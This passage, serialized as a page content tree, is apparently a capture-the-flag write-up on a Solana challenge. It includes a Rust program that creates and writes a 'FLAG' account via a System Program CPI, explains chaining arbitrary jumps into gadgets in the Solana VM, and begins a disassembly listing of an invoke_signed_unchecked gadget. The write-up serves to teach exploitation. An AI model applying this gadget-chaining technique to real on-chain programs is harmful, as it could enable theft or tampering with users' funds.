children":41529},{"style":154},[41530],{"type":29,"value":480},{"type":23,"tag":141,"props":41532,"children":41533},{"style":828},[41534],{"type":29,"value":41535},"\"flag not found, please contact admin\"",{"type":23,"tag":141,"props":41537,"children":41538},{"style":154},[41539],{"type":29,"value":1788},{"type":23,"tag":141,"props":41541,"children":41542},{"style":160},[41543],{"type":29,"value":1816},{"type":23,"tag":141,"props":41545,"children":41546},{"style":154},[41547],{"type":29,"value":1684},{"type":23,"tag":141,"props":41549,"children":41550},{"class":143,"line":810},[41551],{"type":23,"tag":141,"props":41552,"children":41553},{"style":154},[41554],{"type":29,"value":2008},{"type":23,"tag":141,"props":41556,"children":41557},{"class":143,"line":824},[41558],{"type":23,"tag":141,"props":41559,"children":41560},{"style":154},[41561],{"type":29,"value":299},{"type":23,"tag":141,"props":41563,"children":41564},{"class":143,"line":839},[41565],{"type":23,"tag":141,"props":41566,"children":41567},{"style":154},[41568],{"type":29,"value":2573},{"type":23,"tag":24,"props":41570,"children":41572},{"id":41571},"solution-idea",[41573],{"type":29,"value":41574},"Solution Idea",{"type":23,"tag":32,"props":41576,"children":41577},{},[41578,41580,41585],{"type":29,"value":41579},"You may think it's impossible to do with just one instruction, but we can actually leverage the ",{"type":23,"tag":38,"props":41581,"children":41583},{"className":41582},[],[41584],{"type":29,"value":34152},{"type":29,"value":41586}," function to execute infinite instructions. Well -- not entirely infinite, as we are limited by the amount of data we can pass to the on-chain program, and by the maximum stack depth of the Solana VM -- but we can execute up to 64 instructions, which is more than enough to get the flag.",{"type":23,"tag":32,"props":41588,"children":41589},{},[41590,41592,41598],{"type":29,"value":41591},"In order to get the flag, we need to make sure that the account at ",{"type":23,"tag":38,"props":41593,"children":41595},{"className":41594},[],[41596],{"type":29,"value":41597},"PDA(\"FLAG\")",{"type":29,"value":41599}," exists, has a data length of 0x1337, and the first 8 bytes are equal to 0x4337.",{"type":23,"tag":32,"props":41601,"children":41602},{},[41603,41605,41612],{"type":29,"value":41604},"Essentially, we need to ",{"type":23,"tag":55,"props":41606,"children":41609},{"href":41607,"rel":41608},"https://docs.solana.com/developing/runtime-facilities/programs#system-program",[59],[41610],{"type":29,"value":41611},"invoke the System Program",{"type":29,"value":41613},", and write controlled data into the newly created account.",{"type":23,"tag":32,"props":41615,"children":41616},{},[41617],{"type":29,"value":41618},"A sample program that does this is as follows:",{"type":23,"tag":131,"props":41620,"children":41622},{"className":1639,"code":41621,"language":1638,"meta":7,"style":7},"pub fn process_instruction(\n program_id: &Pubkey,\n accounts: &[AccountInfo],\n data: &[u8]\n) -> ProgramResult {\n let flag_pda_ai = &accounts[0];\n let user_ai = &accounts[1];\n\n // Step 1: Create a new account with 0x1337 bytes of data\n let instruction = Instruction::new_with_bincode(\n system_program::ID,\n &SystemInstruction::CreateAccount {\n space: 0x1337,\n lamports: Rent::default().minimum_balance(0x1337),\n owner: chall::ID\n },\n vec![\n AccountMeta::new(*user_ai.key, true),\n AccountMeta::new(*flag_pda_ai.key, true),\n ],\n );\n invoke_signed_unchecked(\n &instruction,\n &[\n user_ai.clone(),\n flag_pda_ai.clone(),\n ],\n &[&[\"FLAG\".as_ref()]],\n )?;\n\n // Step 2: Write 0x4337 to the first 8 bytes of the account\n flag_pda_ai.try_borrow_mut_data()?[..8].copy_from_slice(&0x4337u64.to_le_bytes());\n\n Ok(())\n}\n",[41623],{"type":23,"tag":38,"props":41624,"children":41625},{"__ignoreMap":7},[41626,41646,41670,41698,41726,41746,41782,41818,41825,41833,41866,41883,41908,41929,41981,42006,42013,42026,42072,42116,42124,42132,42143,42159,42170,42190,42210,42217,42253,42268,42275,42283,42362,42369,42380],{"type":23,"tag":141,"props":41627,"children":41628},{"class":143,"line":144},[41629,41633,41637,41642],{"type":23,"tag":141,"props":41630,"children":41631},{"style":449},[41632],{"type":29,"value":12368},{"type":23,"tag":141,"props":41634,"children":41635},{"style":449},[41636],{"type":29,"value":12373},{"type":23,"tag":141,"props":41638,"children":41639},{"style":184},[41640],{"type":29,"value":41641}," process_instruction",{"type":23,"tag":141,"props":41643,"children":41644},{"style":154},[41645],{"type":29,"value":2123},{"type":23,"tag":141,"props":41647,"children":41648},{"class":143,"line":180},[41649,41654,41658,41662,41666],{"type":23,"tag":141,"props":41650,"children":41651},{"style":750},[41652],{"type":29,"value":41653}," program_id",{"type":23,"tag":141,"props":41655,"children":41656},{"style":160},[41657],{"type":29,"value":114},{"type":23,"tag":141,"props":41659,"children":41660},{"style":160},[41661],{"type":29,"value":5815},{"type":23,"tag":141,"props":41663,"children":41664},{"style":725},[41665],{"type":29,"value":20070},{"type":23,"tag":141,"props":41667,"children":41668},{"style":154},[41669],{"type":29,"value":2168},{"type":23,"tag":141,"props":41671,"children":41672},{"class":143,"line":205},[41673,41678,41682,41686,41690,41694],{"type":23,"tag":141,"props":41674,"children":41675},{"style":750},[41676],{"type":29,"value":41677}," accounts",{"type":23,"tag":141,"props":41679,"children":41680},{"style":160},[41681],{"type":29,"value":114},{"type":23,"tag":141,"props":41683,"children":41684},{"style":160},[41685],{"type":29,"value":5815},{"type":23,"tag":141,"props":41687,"children":41688},{"style":154},[41689],{"type":29,"value":2399},{"type":23,"tag":141,"props":41691,"children":41692},{"style":725},[41693],{"type":29,"value":13615},{"type":23,"tag":141,"props":41695,"children":41696},{"style":154},[41697],{"type":29,"value":12939},{"type":23,"tag":141,"props":41699,"children":41700},{"class":143,"line":218},[41701,41706,41710,41714,41718,41722],{"type":23,"tag":141,"props":41702,"children":41703},{"style":750},[41704],{"type":29,"value":41705}," data",{"type":23,"tag":141,"props":41707,"children":41708},{"style":160},[41709],{"type":29,"value":114},{"type":23,"tag":141,"props":41711,"children":41712},{"style":160},[41713],{"type":29,"value":5815},{"type":23,"tag":141,"props":41715,"children":41716},{"style":154},[41717],{"type":29,"value":2399},{"type":23,"tag":141,"props":41719,"children":41720},{"style":725},[41721],{"type":29,"value":2081},{"type":23,"tag":141,"props":41723,"children":41724},{"style":154},[41725],{"type":29,"value":10452},{"type":23,"tag":141,"props":41727,"children":41728},{"class":143,"line":227},[41729,41733,41737,41742],{"type":23,"tag":141,"props":41730,"children":41731},{"style":154},[41732],{"type":29,"value":1748},{"type":23,"tag":141,"props":41734,"children":41735},{"style":160},[41736],{"type":29,"value":12435},{"type":23,"tag":141,"props":41738,"children":41739},{"style":725},[41740],{"type":29,"value":41741}," ProgramResult",{"type":23,"tag":141,"props":41743,"children":41744},{"style":154},[41745],{"type":29,"value":1951},{"type":23,"tag":141,"props":41747,"children":41748},{"class":143,"line":241},[41749,41753,41758,41762,41766,41770,41774,41778],{"type":23,"tag":141,"props":41750,"children":41751},{"style":449},[41752],{"type":29,"value":1659},{"type":23,"tag":141,"props":41754,"children":41755},{"style":750},[41756],{"type":29,"value":41757}," flag_pda_ai",{"type":23,"tag":141,"props":41759,"children":41760},{"style":160},[41761],{"type":29,"value":1674},{"type":23,"tag":141,"props":41763,"children":41764},{"style":160},[41765],{"type":29,"value":5815},{"type":23,"tag":141,"props":41767,"children":41768},{"style":750},[41769],{"type":29,"value":13351},{"type":23,"tag":141,"props":41771,"children":41772},{"style":154},[41773],{"type":29,"value":2399},{"type":23,"tag":141,"props":41775,"children":41776},{"style":472},[41777],{"type":29,"value":2698},{"type":23,"tag":141,"props":41779,"children":41780},{"style":154},[41781],{"type":29,"value":30042},{"type":23,"tag":141,"props":41783,"children":41784},{"class":143,"line":262},[41785,41789,41794,41798,41802,41806,41810,41814],{"type":23,"tag":141,"props":41786,"children":41787},{"style":449},[41788],{"type":29,"value":1659},{"type":23,"tag":141,"props":41790,"children":41791},{"style":750},[41792],{"type":29,"value":41793}," user_ai",{"type":23,"tag":141,"props":41795,"children":41796},{"style":160},[41797],{"type":29,"value":1674},{"type":23,"tag":141,"props":41799,"children":41800},{"style":160},[41801],{"type":29,"value":5815},{"type":23,"tag":141,"props":41803,"children":41804},{"style":750},[41805],{"type":29,"value":13351},{"type":23,"tag":141,"props":41807,"children":41808},{"style":154},[41809],{"type":29,"value":2399},{"type":23,"tag":141,"props":41811,"children":41812},{"style":472},[41813],{"type":29,"value":687},{"type":23,"tag":141,"props":41815,"children":41816},{"style":154},[41817],{"type":29,"value":30042},{"type":23,"tag":141,"props":41819,"children":41820},{"class":143,"line":271},[41821],{"type":23,"tag":141,"props":41822,"children":41823},{"emptyLinePlaceholder":15},[41824],{"type":29,"value":719},{"type":23,"tag":141,"props":41826,"children":41827},{"class":143,"line":293},[41828],{"type":23,"tag":141,"props":41829,"children":41830},{"style":443},[41831],{"type":29,"value":41832}," // Step 1: Create a new account with 0x1337 bytes of data\n",{"type":23,"tag":141,"props":41834,"children":41835},{"class":143,"line":801},[41836,41840,41845,41849,41853,41857,41862],{"type":23,"tag":141,"props":41837,"children":41838},{"style":449},[41839],{"type":29,"value":1659},{"type":23,"tag":141,"props":41841,"children":41842},{"style":750},[41843],{"type":29,"value":41844}," instruction",{"type":23,"tag":141,"props":41846,"children":41847},{"style":160},[41848],{"type":29,"value":1674},{"type":23,"tag":141,"props":41850,"children":41851},{"style":725},[41852],{"type":29,"value":39484},{"type":23,"tag":141,"props":41854,"children":41855},{"style":160},[41856],{"type":29,"value":2141},{"type":23,"tag":141,"props":41858,"children":41859},{"style":184},[41860],{"type":29,"value":41861},"new_with_bincode",{"type":23,"tag":141,"props":41863,"children":41864},{"style":154},[41865],{"type":29,"value":2123},{"type":23,"tag":141,"props":41867,"children":41868},{"class":143,"line":810},[41869,41874,41878],{"type":23,"tag":141,"props":41870,"children":41871},{"style":154},[41872],{"type":29,"value":41873}," system_program",{"type":23,"tag":141,"props":41875,"children":41876},{"style":160},[41877],{"type":29,"value":2141},{"type":23,"tag":141,"props":41879,"children":41880},{"style":154},[41881],{"type":29,"value":41882},"ID,\n",{"type":23,"tag":141,"props":41884,"children":41885},{"class":143,"line":824},[41886,41890,41895,41899,41904],{"type":23,"tag":141,"props":41887,"children":41888},{"style":160},[41889],{"type":29,"value":2131},{"type":23,"tag":141,"props":41891,"children":41892},{"style":154},[41893],{"type":29,"value":41894},"SystemInstruction",{"type":23,"tag":141,"props":41896,"children":41897},{"style":160},[41898],{"type":29,"value":2141},{"type":23,"tag":141,"props":41900,"children":41901},{"style":725},[41902],{"type":29,"value":41903},"CreateAccount",{"type":23,"tag":141,"props":41905,"children":41906},{"style":154},[41907],{"type":29,"value":1951},{"type":23,"tag":141,"props":41909,"children":41910},{"class":143,"line":839},[41911,41916,41920,41925],{"type":23,"tag":141,"props":41912,"children":41913},{"style":750},[41914],{"type":29,"value":41915}," space",{"type":23,"tag":141,"props":41917,"children":41918},{"style":160},[41919],{"type":29,"value":114},{"type":23,"tag":141,"props":41921,"children":41922},{"style":472},[41923],{"type":29,"value":41924}," 0x1337",{"type":23,"tag":141,"props":41926,"children":41927},{"style":154},[41928],{"type":29,"value":2168},{"type":23,"tag":141,"props":41930,"children":41931},{"class":143,"line":848},[41932,41937,41941,41946,41950,41955,41959,41963,41968,41972,41977],{"type":23,"tag":141,"props":41933,"children":41934},{"style":750},[41935],{"type":29,"value":41936}," lamports",{"type":23,"tag":141,"props":41938,"children":41939},{"style":160},[41940],{"type":29,"value":114},{"type":23,"tag":141,"props":41942,"children":41943},{"style":154},[41944],{"type":29,"value":41945}," Rent",{"type":23,"tag":141,"props":41947,"children":41948},{"style":160},[41949],{"type":29,"value":2141},{"type":23,"tag":141,"props":41951,"children":41952},{"style":184},[41953],{"type":29,"value":41954},"default",{"type":23,"tag":141,"props":41956,"children":41957},{"style":154},[41958],{"type":29,"value":12557},{"type":23,"tag":141,"props":41960,"children":41961},{"style":160},[41962],{"type":29,"value":322},{"type":23,"tag":141,"props":41964,"children":41965},{"style":184},[41966],{"type":29,"value":41967},"minimum_balance",{"type":23,"tag":141,"props":41969,"children":41970},{"style":154},[41971],{"type":29,"value":192},{"type":23,"tag":141,"props":41973,"children":41974},{"style":472},[41975],{"type":29,"value":41976},"0x1337",{"type":23,"tag":141,"props":41978,"children":41979},{"style":154},[41980],{"type":29,"value":5410},{"type":23,"tag":141,"props":41982,"children":41983},{"class":143,"line":2304},[41984,41989,41993,41997,42001],{"type":23,"tag":141,"props":41985,"children":41986},{"style":750},[41987],{"type":29,"value":41988}," owner",{"type":23,"tag":141,"props":41990,"children":41991},{"style":160},[41992],{"type":29,"value":114},{"type":23,"tag":141,"props":41994,"children":41995},{"style":154},[41996],{"type":29,"value":40516},{"type":23,"tag":141,"props":41998,"children":41999},{"style":160},[42000],{"type":29,"value":2141},{"type":23,"tag":141,"props":42002,"children":42003},{"style":154},[42004],{"type":29,"value":42005},"ID\n",{"type":23,"tag":141,"props":42007,"children":42008},{"class":143,"line":2313},[42009],{"type":23,"tag":141,"props":42010,"children":42011},{"style":154},[42012],{"type":29,"value":24057},{"type":23,"tag":141,"props":42014,"children":42015},{"class":143,"line":2335},[42016,42021],{"type":23,"tag":141,"props":42017,"children":42018},{"style":184},[42019],{"type":29,"value":42020}," vec!",{"type":23,"tag":141,"props":42022,"children":42023},{"style":154},[42024],{"type":29,"value":42025},"[\n",{"type":23,"tag":141,"props":42027,"children":42028},{"class":143,"line":2343},[42029,42034,42038,42042,42046,42050,42055,42059,42064,42068],{"type":23,"tag":141,"props":42030,"children":42031},{"style":154},[42032],{"type":29,"value":42033}," AccountMeta",{"type":23,"tag":141,"props":42035,"children":42036},{"style":160},[42037],{"type":29,"value":2141},{"type":23,"tag":141,"props":42039,"children":42040},{"style":184},[42041],{"type":29,"value":13799},{"type":23,"tag":141,"props":42043,"children":42044},{"style":154},[42045],{"type":29,"value":192},{"type":23,"tag":141,"props":42047,"children":42048},{"style":160},[42049],{"type":29,"value":197},{"type":23,"tag":141,"props":42051,"children":42052},{"style":750},[42053],{"type":29,"value":42054},"user_ai",{"type":23,"tag":141,"props":42056,"children":42057},{"style":160},[42058],{"type":29,"value":322},{"type":23,"tag":141,"props":42060,"children":42061},{"style":154},[42062],{"type":29,"value":42063},"key, ",{"type":23,"tag":141,"props":42065,"children":42066},{"style":449},[42067],{"type":29,"value":2670},{"type":23,"tag":141,"props":42069,"children":42070},{"style":154},[42071],{"type":29,"value":5410},{"type":23,"tag":141,"props":42073,"children":42074},{"class":143,"line":2352},[42075,42079,42083,42087,42091,42095,42100,42104,42108,42112],{"type":23,"tag":141,"props":42076,"children":42077},{"style":154},[42078],{"type":29,"value":42033},{"type":23,"tag":141,"props":42080,"children":42081},{"style":160},[42082],{"type":29,"value":2141},{"type":23,"tag":141,"props":42084,"children":42085},{"style":184},[42086],{"type":29,"value":13799},{"type":23,"tag":141,"props":42088,"children":42089},{"style":154},[42090],{"type":29,"value":192},{"type":23,"tag":141,"props":42092,"children":42093},{"style":160},[42094],{"type":29,"value":197},{"type":23,"tag":141,"props":42096,"children":42097},{"style":750},[42098],{"type":29,"value":42099},"flag_pda_ai",{"type":23,"tag":141,"props":42101,"children":42102},{"style":160},[42103],{"type":29,"value":322},{"type":23,"tag":141,"props":42105,"children":42106},{"style":154},[42107],{"type":29,"value":42063},{"type":23,"tag":141,"props":42109,"children":42110},{"style":449},[42111],{"type":29,"value":2670},{"type":23,"tag":141,"props":42113,"children":42114},{"style":154},[42115],{"type":29,"value":5410},{"type":23,"tag":141,"props":42117,"children":42118},{"class":143,"line":2421},[42119],{"type":23,"tag":141,"props":42120,"children":42121},{"style":154},[42122],{"type":29,"value":42123}," ],\n",{"type":23,"tag":141,"props":42125,"children":42126},{"class":143,"line":2429},[42127],{"type":23,"tag":141,"props":42128,"children":42129},{"style":154},[42130],{"type":29,"value":42131}," );\n",{"type":23,"tag":141,"props":42133,"children":42134},{"class":143,"line":2459},[42135,42139],{"type":23,"tag":141,"props":42136,"children":42137},{"style":184},[42138],{"type":29,"value":39601},{"type":23,"tag":141,"props":42140,"children":42141},{"style":154},[42142],{"type":29,"value":2123},{"type":23,"tag":141,"props":42144,"children":42145},{"class":143,"line":2467},[42146,42150,42155],{"type":23,"tag":141,"props":42147,"children":42148},{"style":160},[42149],{"type":29,"value":2131},{"type":23,"tag":141,"props":42151,"children":42152},{"style":750},[42153],{"type":29,"value":42154},"instruction",{"type":23,"tag":141,"props":42156,"children":42157},{"style":154},[42158],{"type":29,"value":2168},{"type":23,"tag":141,"props":42160,"children":42161},{"class":143,"line":2499},[42162,42166],{"type":23,"tag":141,"props":42163,"children":42164},{"style":160},[42165],{"type":29,"value":2131},{"type":23,"tag":141,"props":42167,"children":42168},{"style":154},[42169],{"type":29,"value":42025},{"type":23,"tag":141,"props":42171,"children":42172},{"class":143,"line":2507},[42173,42178,42182,42186],{"type":23,"tag":141,"props":42174,"children":42175},{"style":750},[42176],{"type":29,"value":42177}," user_ai",{"type":23,"tag":141,"props":42179,"children":42180},{"style":160},[42181],{"type":29,"value":322},{"type":23,"tag":141,"props":42183,"children":42184},{"style":184},[42185],{"type":29,"value":14097},{"type":23,"tag":141,"props":42187,"children":42188},{"style":154},[42189],{"type":29,"value":2151},{"type":23,"tag":141,"props":42191,"children":42192},{"class":143,"line":2567},[42193,42198,42202,42206],{"type":23,"tag":141,"props":42194,"children":42195},{"style":750},[42196],{"type":29,"value":42197}," flag_pda_ai",{"type":23,"tag":141,"props":42199,"children":42200},{"style":160},[42201],{"type":29,"value":322},{"type":23,"tag":141,"props":42203,"children":42204},{"style":184},[42205],{"type":29,"value":14097},{"type":23,"tag":141,"props":42207,"children":42208},{"style":154},[42209],{"type":29,"value":2151},{"type":23,"tag":141,"props":42211,"children":42212},{"class":143,"line":7724},[42213],{"type":23,"tag":141,"props":42214,"children":42215},{"style":154},[42216],{"type":29,"value":42123},{"type":23,"tag":141,"props":42218,"children":42219},{"class":143,"line":7742},[42220,42224,42228,42232,42236,42240,42244,42248],{"type":23,"tag":141,"props":42221,"children":42222},{"style":160},[42223],{"type":29,"value":2131},{"type":23,"tag":141,"props":42225,"children":42226},{"style":154},[42227],{"type":29,"value":2399},{"type":23,"tag":141,"props":42229,"children":42230},{"style":160},[42231],{"type":29,"value":1770},{"type":23,"tag":141,"props":42233,"children":42234},{"style":154},[42235],{"type":29,"value":2399},{"type":23,"tag":141,"props":42237,"children":42238},{"style":828},[42239],{"type":29,"value":41096},{"type":23,"tag":141,"props":42241,"children":42242},{"style":160},[42243],{"type":29,"value":322},{"type":23,"tag":141,"props":42245,"children":42246},{"style":184},[42247],{"type":29,"value":41105},{"type":23,"tag":141,"props":42249,"children":42250},{"style":154},[42251],{"type":29,"value":42252},"()]],\n",{"type":23,"tag":141,"props":42254,"children":42255},{"class":143,"line":7787},[42256,42260,42264],{"type":23,"tag":141,"props":42257,"children":42258},{"style":154},[42259],{"type":29,"value":2319},{"type":23,"tag":141,"props":42261,"children":42262},{"style":160},[42263],{"type":29,"value":1816},{"type":23,"tag":141,"props":42265,"children":42266},{"style":154},[42267],{"type":29,"value":1684},{"type":23,"tag":141,"props":42269,"children":42270},{"class":143,"line":7893},[42271],{"type":23,"tag":141,"props":42272,"children":42273},{"emptyLinePlaceholder":15},[42274],{"type":29,"value":719},{"type":23,"tag":141,"props":42276,"children":42277},{"class":143,"line":22181},[42278],{"type":23,"tag":141,"props":42279,"children":42280},{"style":443},[42281],{"type":29,"value":42282}," // Step 2: Write 0x4337 to the first 8 bytes of the account\n",{"type":23,"tag":141,"props":42284,"children":42285},{"class":143,"line":22216},[42286,42291,42295,42299,42303,42307,42311,42315,42319,42323,42327,42332,42336,42340,42345,42349,42353,42358],{"type":23,"tag":141,"props":42287,"children":42288},{"style":750},[42289],{"type":29,"value":42290}," flag_pda_ai",{"type":23,"tag":141,"props":42292,"children":42293},{"style":160},[42294],{"type":29,"value":322},{"type":23,"tag":141,"props":42296,"children":42297},{"style":184},[42298],{"type":29,"value":12552},{"type":23,"tag":141,"props":42300,"children":42301},{"style":154},[42302],{"type":29,"value":12557},{"type":23,"tag":141,"props":42304,"children":42305},{"style":160},[42306],{"type":29,"value":1816},{"type":23,"tag":141,"props":42308,"children":42309},{"style":154},[42310],{"type":29,"value":2399},{"type":23,"tag":141,"props":42312,"children":42313},{"style":160},[42314],{"type":29,"value":1712},{"type":23,"tag":141,"props":42316,"children":42317},{"style":472},[42318],{"type":29,"value":2752},{"type":23,"tag":141,"props":42320,"children":42321},{"style":154},[42322],{"type":29,"value":14088},{"type":23,"tag":141,"props":42324,"children":42325},{"style":160},[42326],{"type":29,"value":322},{"type":23,"tag":141,"props":42328,"children":42329},{"style":184},[42330],{"type":29,"value":42331},"copy_from_slice",{"type":23,"tag":141,"props":42333,"children":42334},{"style":154},[42335],{"type":29,"value":192},{"type":23,"tag":141,"props":42337,"children":42338},{"style":160},[42339],{"type":29,"value":1770},{"type":23,"tag":141,"props":42341,"children":42342},{"style":472},[42343],{"type":29,"value":42344},"0x4337",{"type":23,"tag":141,"props":42346,"children":42347},{"style":725},[42348],{"type":29,"value":6717},{"type":23,"tag":141,"props":42350,"children":42351},{"style":160},[42352],{"type":29,"value":322},{"type":23,"tag":141,"props":42354,"children":42355},{"style":184},[42356],{"type":29,"value":42357},"to_le_bytes",{"type":23,"tag":141,"props":42359,"children":42360},{"style":154},[42361],{"type":29,"value":14102},{"type":23,"tag":141,"props":42363,"children":42364},{"class":143,"line":22224},[42365],{"type":23,"tag":141,"props":42366,"children":42367},{"emptyLinePlaceholder":15},[42368],{"type":29,"value":719},{"type":23,"tag":141,"props":42370,"children":42371},{"class":143,"line":22232},[42372,42376],{"type":23,"tag":141,"props":42373,"children":42374},{"style":725},[42375],{"type":29,"value":13009},{"type":23,"tag":141,"props":42377,"children":42378},{"style":154},[42379],{"type":29,"value":13014},{"type":23,"tag":141,"props":42381,"children":42382},{"class":143,"line":22241},[42383],{"type":23,"tag":141,"props":42384,"children":42385},{"style":154},[42386],{"type":29,"value":2573},{"type":23,"tag":32,"props":42388,"children":42389},{},[42390],{"type":29,"value":42391},"To test this theory, we can execute the program above inside the test environment, and see if we can get the flag:",{"type":23,"tag":32,"props":42393,"children":42394},{},[42395],{"type":23,"tag":2591,"props":42396,"children":42399},{"alt":42397,"src":42398},"Screenshot","/posts/jumping-around-in-the-vm/screenshot.png",[],{"type":23,"tag":32,"props":42401,"children":42402},{},[42403],{"type":29,"value":42404},"It works! Now we \"just\" need to find a way to execute the program above, by leveraging the single Instruction call to the program. This is easier said than done. The next section will dive into the details of the Solana VM to understand how we can achieve this.",{"type":23,"tag":24,"props":42406,"children":42408},{"id":42407},"solution-implementation",[42409],{"type":29,"value":42410},"Solution Implementation",{"type":23,"tag":32,"props":42412,"children":42413},{},[42414,42416,42421],{"type":29,"value":42415},"Now that we know what we need to do, let's look at how we can actually do it. We have to code the above program, by chaining together multiple ",{"type":23,"tag":38,"props":42417,"children":42419},{"className":42418},[],[42420],{"type":29,"value":34152},{"type":29,"value":42422}," invocations:",{"type":23,"tag":131,"props":42424,"children":42428},{"className":42425,"code":42426,"language":42427,"meta":7,"style":7},"language-mermaid shiki shiki-themes slack-dark","graph LR\n A[0: entrypoint] --> B[1: process_instruction]\n B --> C[2: process]\n C --> D[3: gadget1]\n C --> E[3: process]\n E --> F[4: gadget2]\n E --> G[...]\n","mermaid",[42429],{"type":23,"tag":38,"props":42430,"children":42431},{"__ignoreMap":7},[42432,42440,42448,42456,42464,42472,42480],{"type":23,"tag":141,"props":42433,"children":42434},{"class":143,"line":144},[42435],{"type":23,"tag":141,"props":42436,"children":42437},{},[42438],{"type":29,"value":42439},"graph LR\n",{"type":23,"tag":141,"props":42441,"children":42442},{"class":143,"line":180},[42443],{"type":23,"tag":141,"props":42444,"children":42445},{},[42446],{"type":29,"value":42447}," A[0: entrypoint] --> B[1: process_instruction]\n",{"type":23,"tag":141,"props":42449,"children":42450},{"class":143,"line":205},[42451],{"type":23,"tag":141,"props":42452,"children":42453},{},[42454],{"type":29,"value":42455}," B --> C[2: process]\n",{"type":23,"tag":141,"props":42457,"children":42458},{"class":143,"line":218},[42459],{"type":23,"tag":141,"props":42460,"children":42461},{},[42462],{"type":29,"value":42463}," C --> D[3: gadget1]\n",{"type":23,"tag":141,"props":42465,"children":42466},{"class":143,"line":227},[42467],{"type":23,"tag":141,"props":42468,"children":42469},{},[42470],{"type":29,"value":42471}," C --> E[3: process]\n",{"type":23,"tag":141,"props":42473,"children":42474},{"class":143,"line":241},[42475],{"type":23,"tag":141,"props":42476,"children":42477},{},[42478],{"type":29,"value":42479}," E --> F[4: gadget2]\n",{"type":23,"tag":141,"props":42481,"children":42482},{"class":143,"line":262},[42483],{"type":23,"tag":141,"props":42484,"children":42485},{},[42486],{"type":29,"value":42487}," E --> G[...]\n",{"type":23,"tag":32,"props":42489,"children":42490},{},[42491],{"type":29,"value":42492},"What are those gadgets? The Solana VM does not enforce that the target of a jump is a valid one, meaning that it's possible to jump to arbitrary addresses!",{"type":23,"tag":32,"props":42494,"children":42495},{},[42496,42498,42504],{"type":29,"value":42497},"To mimic the execution of our solution, we need a gadget that lets us CPI into system_program, with parameters we control. How do we obtain those? We can use ",{"type":23,"tag":55,"props":42499,"children":42501},{"href":38959,"rel":42500},[59],[42502],{"type":29,"value":42503},"Binary Ninja",{"type":29,"value":42505}," to find a suitable gadget for this.",{"type":23,"tag":32,"props":42507,"children":42508},{},[42509,42511,42518],{"type":29,"value":42510},"Before throwing the on-chain program to binja, it's useful to find a way to get symbols for it. One solution is to patch the cargo-build-sbf command to ",{"type":23,"tag":55,"props":42512,"children":42515},{"href":42513,"rel":42514},"https://github.com/solana-labs/solana/blob/4ee5078e5ffdfff36d3f7920217788e2892c1a85/sdk/cargo-build-sbf/src/main.rs#L789",[59],[42516],{"type":29,"value":42517},"skip the strip pass",{"type":29,"value":322},{"type":23,"tag":8287,"props":42520,"children":42522},{"id":42521},"cpi-gadget",[42523],{"type":29,"value":42524},"CPI Gadget",{"type":23,"tag":32,"props":42526,"children":42527},{},[42528,42530,42535,42537,42544,42546,42552],{"type":29,"value":42529},"Looking at the program source, one idea is to look for the cpi gadget around the ",{"type":23,"tag":38,"props":42531,"children":42533},{"className":42532},[],[42534],{"type":29,"value":36767},{"type":29,"value":42536}," function. This function calls into the solana sdk's function ",{"type":23,"tag":55,"props":42538,"children":42541},{"href":42539,"rel":42540},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/program.rs#L295-L310",[59],[42542],{"type":29,"value":42543},"invoke_signed_unchecked",{"type":29,"value":42545},", yielding a powerful gadget at the address ",{"type":23,"tag":38,"props":42547,"children":42549},{"className":42548},[],[42550],{"type":29,"value":42551},"0x100001ba8",{"type":29,"value":322},{"type":23,"tag":131,"props":42554,"children":42556},{"className":1639,"code":42555,"language":1638,"meta":7,"style":7},"solana_program::program::invoke_signed_unchecked\n100001ba8 79a278ff00000000 ldxdw r2, [r10-136] {var_88}\n100001bb0 79a380ff00000000 ldxdw r3, [r10-128] {var_80}\n100001bb8 79a468ff00000000 ldxdw r4, [r10-152] {var_98}\n100001bc0 79a570ff00000000 ldxdw r5, [r10-144] {var_90}\n100001bc8 8520000020100000 call sol_invoke_signed_rust\n100001bd0 5500040000000000 jne \u003C+4> r0, 0x0\n\n100001bd8 b701000018000000 mov r1, 0x18\n100001be0 79a288ff00000000 ldxdw r2, [r10-120] {var_78}\n100001be8 6312000000000000 stxw [r2-0], r1 {0x18}\n100001bf0 0500030000000000 ja \u003C+3>\n\n100001bf8 79a188ff00000000 ldxdw r1, [r10-120] {var_78}\n100001c00 bf02000000000000 mov r2, r0\n100001c08 8510000075000000 call _ZN94_$LT$solana_program...$u64$GT$$GT$4from17ha0d289b72861b06dE\n\n100001c10 79a2b8ff00000000 ldxdw r2, [r10-72] {var_48}\n100001c18 1502040000000000 jeq \u003C+4> r2, 0x0\n\n100001c20 2702000022000000 mul r2, 0x22\n100001c28 79a1b0ff00000000 ldxdw r1, [r10-80] {var_50}\n100001c30 b703000001000000 mov r3, 0x1\n100001c38 8510000003feffff call __rust_dealloc\n\n100001c40 79a2d0ff00000000 ldxdw r2, [r10-48] {var_30}\n100001c48 1502030000000000 jeq \u003C+3> r2, 0x0\n\n100001c50 79a1c8ff00000000 ldxdw r1, [r10-56] {var_38}\n100001c58 b703000001000000 mov r3, 0x1\n100001c60 85100000fefdffff call __rust_dealloc\n\n100001c68 9500000000000000 exit {__return_addr}\n",[42557],{"type":23,"tag":38,"props":42558,"children":42559},{"__ignoreMap":7},[42560,42585,42641,42692,42744,42796,42819,42867,42874,42906,42957,43015,43049,43056,43105,43135,43210,43217,43268,43314,43321,43352,43403,43433,43455,43462,43513,43558,43565,43616,43644,43665,43672],{"type":23,"tag":141,"props":42561,"children":42562},{"class":143,"line":144},[42563,42567,42571,42576,42580],{"type":23,"tag":141,"props":42564,"children":42565},{"style":154},[42566],{"type":29,"value":12331},{"type":23,"tag":141,"props":42568,"children":42569},{"style":160},[42570],{"type":29,"value":2141},{"type":23,"tag":141,"props":42572,"children":42573},{"style":154},[42574],{"type":29,"value":42575},"program",{"type":23,"tag":141,"props":42577,"children":42578},{"style":160},[42579],{"type":29,"value":2141},{"type":23,"tag":141,"props":42581,"children":42582},{"style":750},[42583],{"type":29,"value":42584},"invoke_signed_unchecked\n",{"type":23,"tag":141,"props":42586,"children":42587},{"class":143,"line":180},[42588,42593,42598,42603,42608,42613,42618,42622,42627,42632,42637],{"type":23,"tag":141,"props":42589,"children":42590},{"style":750},[42591],{"type":29,"value":42592},"100001ba8",{"type":23,"tag":141,"props":42594,"children":42595},{"style":750},[42596],{"type":29,"value":42597}," 79a278ff00000000",{"type":23,"tag":141,"props":42599,"children":42600},{"style":750},[42601],{"type":29,"value":42602}," ldxdw",{"type":23,"tag":141,"props":42604,"children":42605},{"style":750},[42606],{"type":29,"value":42607}," 